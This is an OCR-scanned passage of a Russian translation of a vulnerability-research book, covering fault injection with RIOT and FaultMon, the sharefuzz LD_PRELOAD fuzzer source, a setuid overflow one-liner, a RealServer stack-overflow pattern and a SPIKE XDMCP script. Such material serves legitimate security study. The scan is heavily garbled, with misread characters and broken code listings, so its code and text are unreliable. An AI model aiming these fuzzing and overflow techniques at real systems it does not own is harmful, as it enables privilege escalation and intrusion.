Архигокгура 219 vi мы» программного продукта, в которых таятся невыявленные уязвимости, не- ооходпмо научиться обходить различные схемы ограничения входных данных /[овольно часто поля ограничиваются но составу допустимых символов: цифры, символы верхнего регистра, кодировка. Как правило, для ограничения пходпых данных применяются С-функции isdigit(), isalphaQ, isupper(); islower() и isasciiQ. I'l(./iu внести ошибочные нечисловые данные в элемент протокола, который может содержать только числа, программа в результате неудачного вызова isdigit() пернет сообщение об ошибке. Если вводимые ошибки будут соответствовать характеру сопутствующих данных, то большинство подобных ограничений удастся обойти. Сравним обычное внесение ошибок с внесением ошибок с учетом специфики данных. При запуске с размером буфера 10 будут получены следующие входные потоки: GETTTTTTTTT /index html HTTP/1 l\r\nHost test com\r\n\r\n GET ///////////"index html HTTP/1 l\r\nHost. test com\r\n\r\n GET /index html HTTP/1 l\r\nHost test com\r\n\r\n GET /iiiijiiiiiindex html HTTP/1 l\r\nHost test com\r\n\r\n GET /indexxxxxxxxxxx html НГТР/1 l\r\nHost test com\r\n\i\n GET /index hhhhhhhhhhhtml HTTP/1 l\r\nHost test com\r\n\i\n GET /index htmmmmmmmmmmm HTTP/1 l\r\nHost test com\r\n\r\n GET /index html HHHHHHHHHHHTTP/I l\r\nHost test com\r\n\r\n GET /index html HTTPPPPPPPPPPP/1 l\r\nHost test com\r\n\r\n GET /index html HTTP/11111111111 l\r\nHost. test.com\r\n\r\n Передача ошибок Современное оборудование внесения ошибок может воздействовать па тестируемое устройство посредсчвом изменения уровня напряжения, ввода данных со специальных контактов и даже подачи импульсов электромагнитного излучения. Что касается программного обеспечения, ошибки могут передаваться по любому каналу передачи данных, поддерживаемому целевым приложением. Скажем, в операционной системе Windows это может быть файловая система, реестр, переменные окружения, Wmdows-еообщепия, порты LPC, вызовы RPC, общая память, аргументы командной строки, сеть и т. д. Важнейшим каналом передачи данных в современных программных системах являются сетевые протоколы TCP/IP. С их помощью можно взаимодействовать с уязвимым программным продуктом с друюго конца земного шара. В этом разделе рассматриваются некоторые методы и рекомендации по передаче ошибок по сетевым протоколам. Передача данных инициируется механизмом модификации. При каждой итерации измененные входные данные передакися целевому приложению при помощи сетевых функций пересылки данных по TCP/IP. Передача модифицированных данных состоит из следующих этапов: 1. Подключение через сеть к целевому приложению. 2. Передача модифицированных входных данных через организованное подключение.
220 Глава 11. Внесении ошибок 3. Ожидание ответа. 4. Закрытие сетевого подключения. Алгоритм Нейгла Алгоритм Нейгла (Nagel algorithm), используемый по умолчанию в стеке IP системы Windows, откладывает пересылку мелких пакетов до тех пор, пока их не накопится столько, сколько достаточно для группировки. Поскольку наши тесты создаются, передаются и отслеживаются по отдельности, группировку следует запретить, установив флаг N0_DELAY. Временные характеристики Проблема выбора временных характеристик решается непросто. Одни разработчики выбирают очень гибкие схемы согласования по времени, чтобы предоставить серверу максимальные возможности для ответа. Другие уменьшают время отклика для сокращения времени тестирования. Система RIOT занимает промежуточную позицию. Мы рекомендуем предусмотреть возможность настройки временных интервалов, чтобы они лучшим образом соответствовали тестируемому программному продукту. Как правило, для серверных приложений, которые выдают ответ лишь при получении реальных данных, следует устанавливать очень короткий интервал тайм-аута. Если серверное приложение отвечает всегда независимо от типа запроса, можно увеличить тайм-аут. Оптимальное решение — написание собственного алгоритма согласования по времени с возможностью динамической настройки на стадии инициализации. Эвристика Мы всегда были поклонниками программ, которые умеют автоматически настраиваться под конкретную ситуацию. Хотя базовой эвристике далеко от искусственного интеллекта, это интересный шаг в правильном направлении, который наделяет методику внесения ошибок новыми возможностями. Эвристикой называется наука о взаимодействии и анализе реакции взаимодействующих с целью их обучения. Чтобы включить в комплекс внесения ошибок простейшие эвристические средства, реализуйте обратный вызов функции (callback) сразу же после получения кода. Начать можно с анализа реакций сервера и поиска в них кодов ошибок. При получении тестовым приложением признака ошибки (например, сообщения Internal Server Error) можно установить флаг для ужесточения контроля до тех пор, пока ошибка не исчезнет. Хотя подобные ошибки веб-серверов могут происходить из-за неудачного конфигурирования или игнорирования необходимости инициализации некоторой функции, они также могут объясняться повреждением адресного пространства процесса. Протоколы с поддержкой и без поддержки состояния Протоколы можно разделить на два класса — протоколы с поддержкой и протоколы без поддержки состояния. Протоколы с поддержкой состояния анализируются гораздо проще — досгаючпо отправить ошибочные данные удаленному
Мониторинг ошибок 221 серверному приложению и проследить за его поведением. С протоколами без поддержки состояния дело обстоит сложнее. Лишь немногие системы внесения ошибок обеспечивают возможность тестирования сложных протоколов с поддержкой состояния; это объясняется сложностью согласования. В программные продукты часто включаются сложные клиент-серверные протоколы, требующие настолько детального согласования, что оно не воспроизводится простым 'югпческим анализом. Лишь немногим разработчикам удалось разработать системы контроля, осно- илиные исключительно на логическом анализе протокольных данных. В таких решениях используются дополнительный код и/или сложные заглушки, опре- /и'чяющие каждое состояние протокола. Мониторинг ошибок Мониторинг ошибок — шаг, которому часто уделяется недостаточное внимание, — является одной из важнейших составляющих тестирования. В большин- с|ве проектов, разработанных академическим сообществом, ошибки приложении обнаруживаются только при аварийном завершении или выдаче дампа. Коммерческие полномасштабные продукты почти всегда хорошо защищены от ошибок — в них организованы обработка исключений, проверка сигналов и прочие функции, поддерживаемые операционной системой. Отслеживая ошибки с помощью отладочной подсистемы ОС, можно обнаружить некоторые нарушения, которые раньше не попадали в поле зрения. Отладчик Если тестирование проводится в интерактивном режиме, отладчика будет вполне достаточно. Выберите отладчик и подключитесь к процессу тестируемого продукта. Многие отладчики по умолчанию настраиваются таким образом, чтобы перехватывать только те исключения, которые не обрабатываются процессом. Если ваш отладчик способен перехватывать исключения до того, как они передаются приложению, мы рекомендуем включить этот режим для всех типов отслеживаемых исключений. Самую важную категорию исключений составляют нарушения доступа. Обычно они происходят тогда, когда поток процесса пытается обратиться по адресу, недействительному в адресном пространстве процесса. Такие нарушения часто происходят в ходе работы программы при повреждении структур данных, содержащих ссылки па память. Программа FaultMon К сожалению, лишь очень немногие отладчики позволяют зарегистрировать исключение и автоматически продолжить работу. По .ггой причине на сайте www. wiley.com/compbooks/koziol размещена программа FaultMon, написанная Дереком Содером (Derek Soecler), одним из участников исследовательской группы еЕуе. Чтобы использовать FaultMon, откройте окно командной строки и введите идентификатор процесса того приложения, для которого должны отел ежи-
222 Глава 11. Вносоиио ошибок ваться исключения. FaultMon выводит на консоль информацию обо всех ирс исходящих исключениях: 21:29:44 985 pid=0590 tid=0714 EXCEPTION (first-chance) Exception C0000005 (ACCESSJIOLATION writing [OFF02C4D]) EAX=00EFEB48. 48 00 00 00 00 00 F0 00-00 DO EF 00 00 00 00 00 EBX=00EFF094 41 00 41 00 41 00 41 00-02 00 4] 00 41 00 41 00 ECX=00410041. 00 00 00 A8 05 41 00 0F-00 00 00 F8 FF FF FF 50 EDX=77F8A896 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00 ESP=00EFEAB0 38 25 F9 77 70 EB EF 00-94 F0 EF 00 8C EB EF 00 EBP=00EFEAD0- 58 EB EF 00 89 AF F8 77-70 EB EF 00 94 F0 EF 00 ESI=00EFEB70 05 00 00 CO 00 00 00 00-00 00 00 00 B4 69 CC 68 EDI=00000001 ?? ?? ?? ?? ?? 7? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EIP=00410043. 00 A8 05 41 00 OF 00 00-00 F8 FF FF FF 50 00 41 --> ADD [EAX+0F004105LCH Continue7 y/n* В листинге приведен пример исключения, сохраненного FaultMon во времЦ тестирования RIOT. В командной строке был задан ключ интерактивного pei жима -1, позволяющий сделать паузу между исключениями и проанализировать состояние программы. Все вместе На сайте www.wiley.com/compbooks/koziol размещены исходные тексты и отком^] пилированная версия системы внесения ошибок RIOT. Чтобы увидеть про1 грамму RIOT в действии, скопируйте RIOT и FaultMon в папку на своем ком1 пыотере. Мы выполним примерный тест с использованием входных данных] приводившихся ранее в этой главе: GET /search ida?group=kuroto&q=riot HTTP/1 1 Accept */* Accept-Language en-us Accept-Encoding qzip, deflate User-Agent Mozilla/4 0 Host 192 168 1 1 Connection Keep-Alive Cookie ASPSESSIONISQNNNNTEG=ODDDDIOANNCXXXXIIMGLLNNG Тест уже создан и готов к работе, вводить его заново не нужно. Запустите два экземпляра командного процессора (cmd.exe). Первый экземпляр должен выполняться на компьютере с потенциально уязвимым веб-сервером, который вы хотите протестировать. Запустите на нем FaultMon и введите идентификатор процесса веб-сервера, работающего в фоновом режиме. В случае IIS 5.0 следует использовать идентификатор процесса inetinfo.exe. Скажем, если идентификатор процесса равен 2003, то в пршлашепип командного процессора вводится следующая коман/щ: faultmon exe i 2003
Итоги 223 При запуске FaultMon отображается целая серия событий. Не обращайте на \\\\\ внимания — они связаны с инициализацией FaultMon и не имеют отношении к тестированию. Когда FaultMon заработает и начнет выводить информацию о событиях, запустите другой командный процессор на компьютере, с ко- lopom производится атака. Hmpoii экземпляр должен быть открыт на компьютере, где развернута система ПК )Т. Во втором командном процессоре запустите RIOT и введите IP-адрес нпируемого хоста и номер порта, по которому осуществляет прослушивание nrh сервер. Скажем, если веб-сервер работает под адресом 192.168.1,1, а прослушивание осуществляется на порте 80, команда выглядит так: not exe -р 80 192 168 1 1 Файлы, включенные в конфигурацию RIOT, позволят вам заново найти различные уязвимости, связанные с переполнением буфера, уже обнаруженные w основных веб-серверах. Возможно, при тестировании сервера Microsoft Windows 2000 с ранними обновлениями Service Pack вам даже удастся заново обнаружить дефект, столь успешно использованный червем Code Red. Каждый файл в папке содержит входные данные для конкретного теста. RIOT начинает с теста 1 и увеличивает номер до тех пор, пока не будут перебраны все мггы. Вы можете редактировать эти файлы и создавать новые тесты по своему усмотрению. Также в поставку включен исходный текст программы, на основе hoioporo вы сможете построить собственную систему. Счастливой охоты! Итоги И люй главе рассматривается концепция внесения ошибок, имеющая непосред- с| венное отношение к методике фаззинга. Процесс внесения ошибок демонстрируется на примере нового приложения RIOT, а для мониторинга результатов и целевом приложении применяется программа FaultMon.
ГЛАВА 12 Искусство фаззинга Под термином фаззинг (fuzzing) объединяют действия, сопровождающие выя»т| ление большинства дефектов безопасности. Хотя в академических исследоваН ниях университетского уровня внимание обычно оказывается сосредоточенных! на «формально доказуемых» защитных методиках, большинство специалистов-; практиков предпочитает методы, обеспечивающие быстрый и эффективный ре^ зультат. В этой главе будут рассмотрены инструменты и методологии поиска дефектов. Впрочем, следует помнить, что несмотря на все исследования в об^ ласти анализа уязвимостей, подавляющее большинство дефектов выявляются! благодаря стечению обстоятельств и удаче. В этой главе вы узнаете, как стать! удачливым. Общая теория фаззинга Один из методов фаззинга основан на внесении ошибок (этой теме полностью] посвящена глава 11). В мире безопасности программного обеспечения внесение^ ошибок обычно подразумевает передачу приложению «испорченных» данных] за счет манипуляций с различными вызовами функций API, как правило, с использованием отладчика или перехватчика вызовов библиотечных функций. Например, можно наугад заставить функцию free() вернуть NULL (признак неудачи) или при каждом вызове getenv() возвращать длинную строку. В боль-: шинстве статей и книг на эту тему предлагается проанализировать исполняемый файл и внедрить в него гипотетические аномалии. В двух словах, эти] аномалии заставляют free() вернуть нуль, после чего по диаграммам Венна рассматриваются статистические показатели этого события. Весь процесс имеет смысл для аппаратных ошибок, происходящих случайным образом. Однако те ошибки, которые мы рассматриваем, представляют собой что угодно, по только не случайные события. В контексте поиска дефектов безопасности инструментальные средства играют важную роль, но только в сочетании с качественным фаззером. Довольно ограниченны]!, но эффективный пример фаззинга методом внесения ошибок дает общая для Solaris и Linux библиотека sharefuzz (www.immunitysec. com), предназначенная для тестирования типичных вариантов переполнения локальных буферов в программах setuid. Часто ли вам попадались примерно такие рекомендации: «TERM=4 -e 'print "A" x 5000'4 ./setuid.binary даст вам root-при-
Общая теория фаззинга ZZ5 иижч'ии!»? Библиотека sharefuzz проектировалась для того, чтобы подобные рекомендации стали излишними благодаря полной автоматизации процесса поиска. Во многом эта цель была достигнута. Уже за первую неделю использо- iiiiiniH sharefuzz была выявлена уязвимость libsldap.so в Solaris, о которой так и не сообщили в Sun. Позднее информация об уязвимости была опубликована другим специалистом по безопасности. Рассмотрим код программы sharefuzz, чтобы лучше понять принципы ее работы: /*sharefuzz с - фаззер, первоначально предназначавшийся для локального фаззинга. но также хорошо подходящий для всевозможных функций clib В большинстве систем должен загружаться в режиме LD_PRELOAD. LICENSE: GPLv2 */ #include <stdio h> /* Определения */ /*#define DOLOCALE /* ЛОКАЛЬНЫЙ ФАЗЗИНГ */ #define SIZE 11500 /* Размер возвращаемого окружения */ tdefine FUZCHAR 0x41 /* Символ для фаззинга*/ static char *stuff. static char *stuff2. static char display[] = "localhost 0", /^Возвращается по запросу*/ static char mypath[] = "/usr/bin /usr/sbin /bin /sbin". static char ld_preload[] = "", #include <sys/select h> int select (inf n, fd_set *readfds. fd_set *writefds, fd_set *exceptfds. struct timeval *timeout) { printf("SELECT CALLED!\n"). } int getuidO { pnntfC^^getuid'Xn"). return 501. } int geteuidO { printf("***geteuid\n"), return 501. } int getgidO { pnntf ("getgid\n"). return 501. } int getegidO { printf ("getegid\n"), return 501. 1
ZO Глава 12. Искусство фаззинга int getgid32 О { printf C***getgid32\n"): return 501; } int getegid32() { printf C***getegid32\n"); return 501; } /* Фаззинг getenv - измените в соответствии с конкретными потребностями */ char * getenv(char * environment) { fprintf (stderr."GETENV; %s\n".environment); fflush(O); if (!strcmp(environment,"DISPLAY") ) return display; #if 0 #if 0 if (! strcmp (environment."PATH")) l return NULL, return mypath. } #endif #if 0 if (!strcmp(environment."HOME")) return "/home/dave". i f ('strcmp(environment."LD_PRELOAD")) return NULL, if (!strcmp (environment."LOGNAME")) return NULL; if (!strcmp(environment."ORGMAIL")) { fprintf(stderr."ORGMAIL=?s\n",stuff2), return "ASDFASDFsd" } if (!strcmp(environment."TZ")) return NULL, #endif fprintf (stderr."continued to return default\n"). //sleep(l). /* Вернуть NULL, если окружение не должно уничтожаться */ //return NULL. /* Вернуть stuff, если с каждой переменной должна возвращаться длинная стро */ fflush(O). return stuff, } int putenv(char* string)
Общая теория фаззинга 227 Iprintf (stderr,"putenv %s\n".string); return 0. int clearenvO fpnntf (stderr."clearenv \n"), return 0; int unsetenv(char * string) fprintf(stderr."unsetenv %s\n".string). return 0. jnitO stuff=malloc(SIZE). stuff2=malloc(SIZE). pnntf("shared library loader working\n"). memset(stuff.FUZCHAR.SIZE-l). stuff[SIZE-l]=0. memset(stuff2.FUZCHAR.SIZE-l): Stuff2[l]=0. //systemCVbin/sh"). Программа компилируется в общую библиотеку и загружается в режиме LD_ PRELOAD (в системах, где он поддерживается). При загрузке sharefuzz переопределяет вызов getenv() и всегда возвращает длинную строку. Хотя фаззер sharefuzz обладает весьма ограниченными возможностями, он ясно демонстрирует многие сильные и слабые стороны более совершенных фаззеров (таких, как SPIKE), которые тоже рассматриваются в этой главе. ПРИМЕЧАНИЕ Если вы хотите увидеть «слегка отшлифованный» аналог sharefuzz для Windows- приложений, посетите сайт Holodeck (www.sisecure.com/holodeck/). Как правило, фаззеры, работающие по принципу внесения ошибок, взаимодействуют с программой на слишком примитивном уровне и в плане проверки безопасности не приносят реальной пользы Большинство вопросов о доступности дефектов остаются без ответов, кроме того возникает много проблем с ложными срабатываниями. При этом одна только лицензия Holodeck стоит 5000 долларов — не тратьте деньги зря. Статический анализ и фаззинг В отличие от статического анализа (скажем, анализа двоичных файлов или исходных текстов), при выявлении дефекта безопасности при помощи фаззера пользователь обычно получает набор данных, сопровождающих выявление.
ZZB Глава 12. Искусство фаззинга Скажем, когда в sharefuzz происходит аварийное завершение процесса, мы ион лучаем распечатку с указанием переменных окружения, тестируемых на тот мо*| мент, и точных значений, которые могли стать причиной завершения. После! этого можно проверить все значения вручную и посмотреть, какое именно привело к сбою. Статический анализ обычно выявляет многочисленные дефекты. Одни из них могут использоваться посредством внешней передачи данных приложению, другие — нет. Процесс, при котором каждый дефект отслеживается во время сеанса статического анализа с выяснением возможности его реальной эксплуатации, нельзя назвать эффективным или хорошо масштабируемым. С другой стороны, иногда фаззер позволяет найти плохо воспроизводимый дефект. Хорошим примером служат дефекты повторного освобождения памяти и другие дефекты, для которых должно произойти два события подряд. Вот почему большинство фаззеров передают своим объектам псевдослучайные входные данные и позволяют пользователю задавать начальное значение генератора случайных чисел. Этот механизм не только позволяет фаззеру расширить анализируемое пространство, но и дает возможность в случае необходимости полностью воспроизвести процесс. Масштабируемость фаззинга Статический анализ — чрезвычайно сложный и трудоемкий процесс. Поскольку при статическом анализе возможность реальной эксплуатации каждого конкретного дефекта не проверяется, исследователю приходится делать это самостоятельно. Процесс не переносится на другие установленные копии программы, поскольку возможность эксплуатации дефекта может зависеть от многих факторов, включая конфигурацию программы, параметры компилятора, архитектуру компьютера и т. д. Кроме того, дефект, который успешно эксплуатируется в одной версии программы, может стать абсолютно недоступным в другой версии. В то же время реально эксплуатируемый дефект почти неизбежно приводит к нарушению доступа или другому сбою, который можно обнаружить. Хакеров обычно не интересуют дефекты, которые невозможно эксплуатировать. Следовательно, нам нужен именно фаззер. Мы называем фаззинг масштабируемым, потому что фаззер, построенный для тестирования протокола SMTP, сможет протестировать любое количество SMTP-серверов (или конфигураций одного сервера); скорее всего, при этом на всех серверах будут обнаружены аналогичные дефекты. Эта особенность фаззе- ра воистину бесценна при атаках на новые системы, предоставляющие те же услуги, что и другие системы, бывшие объектами атак в прошлом. Есть и другая причина, по которой мы говорим о масштабируемости фаззинга: строки, пригодные для поиска дефектов в одном протоколе, скорее всего будут походить на строки, используемые для других протоколов. Для примера рассмотрим строку перемещения по каталогам, написанную на Python: print " /*'*5000
Недостатки фаззеров 229 Хотя эта строка служит для обнаружения дефектов, позволяющих загружать произвольные файлы с некоторых серверов, она также выявляет очень интересным дефект в современных версиях HelixServer (также известном как RealServer). Дефект похож на следующий фрагмент С-кода, который сохраняет укала гели на все каталоги в буфере, хранящемся в стеке: void example(){ char * ptrs[1024]; char * с; char **p, (or (p=ptrs,c=instnng, *c!=0. C++) { if (*c==7') { *p=c; p++: ) } И конце функции должен появиться набор указателей на все уровни каталога. По так как количество слешей больше 1024, сохраненные указатель кадра и адрес возврата заменяются указателями на нашу строку. Так в нашем распоряжении оказывается отличная уязвимость, не требующая применения каких-либо конкретных смещений. Кроме того, это одна из тех уязвимостей, которые предоставляют возможность написать внедряемый код, подходящий для любой архитектуры, так как данная уязвимость не требует адреса возврата, a RealServer существует в версиях для Linux, Windows и FreeBSD. Ксли вы разрабатываете новый фаззер, не забудьте об одном важном этапе: вернитесь к известным уязвимостям, посмотрите, обнаружит ли их ваш фаззер, и постарайтесь по возможности абстрагировать свой тест. Это позволит вам обнаруживать в будущем неизвестные уязвимости того же «класса» без программирования специальных тестов, направленных на их провоцирование. Конкретный способ абстрагирования зависит от личного вкуса. Это придает каждому фаззеру определенную индивидуальность, поскольку его компоненты абстрагируются на разных уровнях, что отчасти влияет на результаты. Недостатки фаззеров Возможно, вы уже решили, что фаззеры — самое замечательное изобретение после хлеба в нарезке, но и у них есть свои недостатки. Давайте рассмотрим некоторые из них. Например, фаззер сможет найти далеко не каждый дефект, который выявляется посредством статического анализа. Рассмотрим следующий фрагмент: if (!strcmp(usennputl, "<somo static stnng>")) { strcpy(buffer2, usennput2). } Для реализации этого дефекта переменно!! userinputl должна быть присвоена некоторая строка (известная авторам протокола, но не нашему фаззеру), а пере-
230 Глава 12. Искусство фаззинга менная userinput2 должна содержать очень длинную строку. Таким образом, два фактора оказываются для дефекта значимыми: 1. Конкретное значение userinputl. 2. Длинная строка в userinput2. Для определенности предположим, что программа представляет собой SMTP- сервер с поддержкой команд НЕЮ, EHL0 и HELL Возможно, некоторые дефекты срабатывают только тогда, когда сервер видит команду HELL — это недокументированная возможность, используемая только нашим SMTP-сервером. Даже если предположить, что фаззер содержит список специальных строк, по мере добавления новых факторов сложность процесса начинает расти по экспоненте. Итак, хороший фаззер содержит список строк, которые он должен опробовать. Таким образом, для каждой переменной, участвующей в фаззинге, проверяются N строк. Если должна учитываться другая переменная, количество комбинаций возрастает до NxM, и т. д. (для фаззера целое является короткой двоичной строкой). Обычно эти две основные слабости фаззеров компенсируются за счет статического анализа или двоичного анализа целевой программы на стадии выполнения. Эти методы повышают надежность и способствуют выявлению дефектов, оставшихся скрытыми при традиционном фаззинге. При знакомстве с разными фаззерами вы увидите, что у них имеются свои специфические недостатки. Возможно, это отчасти обусловлено их базовой архитектурой, например, код фаззера SPIKE в значительной мере написан на языке С и не является объектно-ориентированным. Также может выясниться, что некоторые целевые программы плохо подходят для фаззинга — они очень медленно работают или аварийно завершаются при любых отклонениях вводимых данных от нормы, что усложняет поиск используемых дефектов на фоне бесчисленных ошибок (из примеров па ум приходят iMail и rpc.ttdbserverd). А может быть, окажется, что протокол слишком сложно расшифровать по данным трассировки сети. К счастью, такие случаи встречаются довольно редко. Моделирование произвольных сетевых протоколов Давайте ненадолго оставим фаззеры для хостов. Уязвимости хостов (также называемые локальными) полезны для выявления некоторых базовых свойств фаззеров, но проку от них немного. Настоящая работа — поиск уязвимостей в программах, прослушивающих TCP- и UDP-порты. Каждая из таких программ использует определенные сетевые протоколы для взаимодействия друг с другом — иногда документированные, иногда нет. Ранняя разработка фаззеров в значительной мере ограничивалась Perl-сценариями и другими попытками эмуляции протоколов с их одновременной модификацией. Реализация в виде Perl-сценариев ведет к созданию многочисленных специализированных фаззеров, предназначенных для конкретных прото-
Другие возможности фаззинга 231 колой один фаззер для SNMP, другой для HTTP, третий для SMTP и т. д. Но чт делать, если SMTP или какой-нибудь другой закрытый протокол туннели- руегея через HTTP? Тпким образом, основной проблемой становится построение такой модели сете- iioio протокола, которая бы легко и быстро встраивалась в другой сетевой про- мжол, и при этом позволяла бы эффективно анализировать код приложения г целью выявления дефектов. Обычно в процедуре поиска используемые строки заменяются другими строками или строками большей длины, либо целые числа заменяются числами большей разрядности. Никакие два фаззера не вы- нмляют один и тот же набор дефектов. Даже если фаззер тестирует тот же код, он может проводить тесты в другом порядке, или в нем могут быть заданы дру- i не значения переменных. Позднее в этой главе будет рассмотрена технология, обеспечивающая разработку такой модели, но сначала мы рассмотрим другие полезные технологии. Другие возможности фаззинга Существует много других операций, которые могут выполняться фаззерами. Кроме того, вы можете воспользоваться уже готовым кодом, чтобы сэкономить время. Переключение битов Допустим, имеется сетевой протокол следующего вида: <длина><строка ascii><0x00> Переключением битов (bit flipping) называется такая методика пересылки строки на сервер, когда при каждой пересылке состояние бита меняется на противоположное. Таким образом, сначала поле длины принимает очень большое (или отрицательное) значение, затем в строке ASCII появляются странные символы, мосле чего значение 0x00 заменяется очень большим (или отрицательным) числом. Любое из этих превращений может стать причиной сбоя, и как следствие — реально используемого дефекта безопасности. К достоинствам метода переключения битов следует отнести то, что соответствующий фаззер очень легко создать, и при этом он позволяет выявить немало интересных дефектов. Впрочем, при этом он несомненно обладает серьезными недостатками. Модификация программ с открытыми исходными текстами Сообщество Open Source потратило немало усилий на реализацию многих протоколов, представляющих интерес для анализа (чаще всего на языке С) хакером. Изменяя открытые реализации для отправки более длинных строк или чисел большей разрядности, а также выполняя другие манипуляции на клиентской стороне протокола, часто удается выявить уязвимости, которые было бы
232 Глава 12. Искусство фаззинга очень трудно отыскать даже с помощью очень хорошего фаззера, написанного «с нуля». Часто это объясняется тем, что протокол хорошо документирован, а многие значения встроены непосредственно на стороне клиента. Вам не придется угадывать правильные значения полей — они будут предоставлены вам автоматически. Кроме того, отпадает необходимость обходить средства аутентификации или проверки контрольных сумм, встроенные в протокол, — клиентская сторона содержит все необходимые функции. Для протоколов, защищенных от реконструкции посредством многоуровневой структуры или поддерживающих шифрование, изменение существующей реализации часто остается единственным выходом. Следует заметить, что при внесении ошибок через ELF и DLL вам даже не понадобится клиент с открытыми исходными текстами. Часто удается перехватить вызовы некоторых библиотечных функций в клиенте; это позволяет увидеть данные, передаваемые клиентом, и манипулировать ими. В частности, протоколы сетевых игр (Quake, Half-Life, Unreal и т. д.) часто имеют многоуровневую структуру для защиты от взломщиков. В таких ситуациях этот метод особенно полезен. Фаззинг с динамическим анализом Динамический анализ (отладка целевой программы в процессе фаззинга) предоставляет много полезных данных и позволяет «руководить» фаззером. Например, RPC-программы обычно получают свои переменные из предоставленного блока данных при помощи функций xdr_string, xdrjnt и других аналогичных функций. Перехватывая эти вызовы, можно выяснить, какие данные программа ожидает получить в блоке. Кроме того, дезассемблирование программы в процессе выполнения позволяет увидеть, какой код выполняется, и если управление не передается в конкретную ветвь — понять, почему именно. Например, может оказаться, что программа содержит команду сравнения, которая всегда завершается неудачей в одном из направлений. Данный вид анализа еще не получил должного развития, но в настоящее время многие разработчики идут по этому пути, добиваясь, чтобы фаззеры следующего поколения стали более функциональными и разумными. Программа SPIKE От рассмотрения общих принципов работы фаззеров мы перейдем к конкретному фаззеру и посмотрим, насколько эффективно может работать хороший фаззер даже с достаточно сложными протоколами. Этот фаззер называется SPIKE и распространяется на условиях GPL (www.immunitysec.com). Копилка В SPIKE используется специализированная структура данных, в среде фаззеров называемая копилкой (spike). Тем, кто знаком с теорией компиляторов, операции по отслеживанию блока данных в копилке покажутся до странного похо-
Программа SPIKE 233 ж и ми на работу однопроходного ассемблера. Дело в том, что SPIKE фактически ассемблирует блок данных и хранит информацию о длинах внутри него. Дли демонстрации работы SPIKE мы вкратце рассмотрим несколько примеров. Код SPIKE написан на С, поэтому следующие примеры тоже будут написаны iiii С. В исходном состоянии буфер данных пуст. Data:<> s_binary(0 01 02 03"); // Сохранение двоичных данных в копилке l)ata-<00 01 02 03> s_block_size_big-endian-word("Blockname"); Data.OO 01 02 03 00 00 00 00> И буфере резервируется дополнительное место D байта): s_block_start("Blockname"); Data <00 01 02 03 00 00 00 00> Л вот в копилку добавляются еще 4 байта данных: s_binaryC05 06 07 08"). Data:<00 01 02 03 00 00 00 00 05 06 07 08> ()братите внимание: после завершения блока заносится значение 4, то есть размер буфера: s_block_end("Blockname"), Data.OO 01 02 03 00 00 00 04 05 06 07 08> Данный пример очень упрощен, но подобные структуры данных — с возможно- сгью возврата и заполнения размеров — играют ключевую роль в плане разработки фаззеров наподобие SPIKE. Кроме того, в SPIKE имеются функции продвижения (marshalling), то есть преобразования данных в памяти к формату, предназначенному для передачи по сети. Поддерживается продвижение многих структур данных, часто используемых в сетевых протоколах. Например, строки обычно представляются в следующем формате: <длина в формате big-епсИапхстрока в формате азспхнольхдополнение до следующей границы слова> Целые числа также могут представляться во многих форматах и с разным порядком следования байтов, и SPIKE содержит функции для их преобразования в данные, необходимые для вашего протокола. Моделирование сетевых протоколов с помощью структуры данных SPIKE Применение SPIKE API (или аналогичных интерфейсов API) для моделирования произвольных сетевых протоколов обладает рядом преимуществ. SPIKE API обеспечивает линейное представление сетевого протокола, то есть представление в виде последовательности неизвестных двоичных данных, целых чисел, размеров и строк. При модификации каждой строки данные размеров в блоках, инкапсулирующих эту строку, изменяются в соответствии с текущей длиной блока. Традиционные альтернативы — предварительное вычисление размеров или функциональное описание протокола (как это делается в реальном клиенте).
234 Глава 12. Искусство фаззинга Оба варианта требуют больше времени и усложняют доступ к каждой строке со стороны фаззера. Фаззеры SPIKE В программу SPIKE включено много примеров фаззеров для различных протоколов, из них наибольшего внимания заслуживают MSRPC- и SunRPC-фаззе- ры. Кроме того, прилагается набор обобщенных фаззеров для обычных ТСР- и UDP-подключений. Они станут хорошей отправной точкой при фаззинге нового протокола. Наиболее полную поддержку в SPIKE получил протокол HTTP. НТТР-фаззеры на базе SPIKE успешно применялись для выявления дефектов практически на всех основных веб-платформах; используйте их для поиска уязвимостей веб-серверов или их компонентов. По мере «взросления» (в августе 2003 г. программе исполнилось два года) в SPIKE должны появиться функции анализа времени выполнения, а также обеспечена поддержка дополнительных типов данных и протоколов. Пример использования фаззера SPIKE На начальное освоение SPIKE обычно уходит много времени и усилий. Тем не менее, в руках опытного пользователя программа быстро и легко находит ошибки, которые, как правило, не в состоянии отыскивать даже квалифицированные аналитики исходных текстов. Для примера возьмем протокол XDMCPD, поддерживаемый большинством рабочих станций Unix. Хотя во многих случаях пользователь SPIKE пытается диз- ассемблировать протокол вручную, в данном случае можно обойтись Ethereal — бесплатной утилитой сетевого анализа (www.ethereal.com); ее окно показано на рис. 12.1. В результате преобразования SPIKE создает следующий файл: //xdmcp_request.spk //Совместим с версией SPIKE 2 6 и выше //Порт 177 UDP //Сбой вызывается следующими запросами //[dave@localhost src]$ /generic_send_udp 192 168 1 104 177 ~/spikePRIVATE/xdmcp_request spk 2 28 2 //[davePlocalhost src]$ /genenc_send_udp 192 168 1 104 177 ~/spikePRIVATE/xdmcp_request spk 4 19 1 //Версия s_binary(M00 01"), //Код операции (запрос=07) //3 - один байт //5 - два байта, big endian s_int_vanable@x0007.5). //Длина сообщения //s_binary(0 17 "), s_binary__block_size_hal fword_bigendian( "message"). s_block_start("message"). //display number
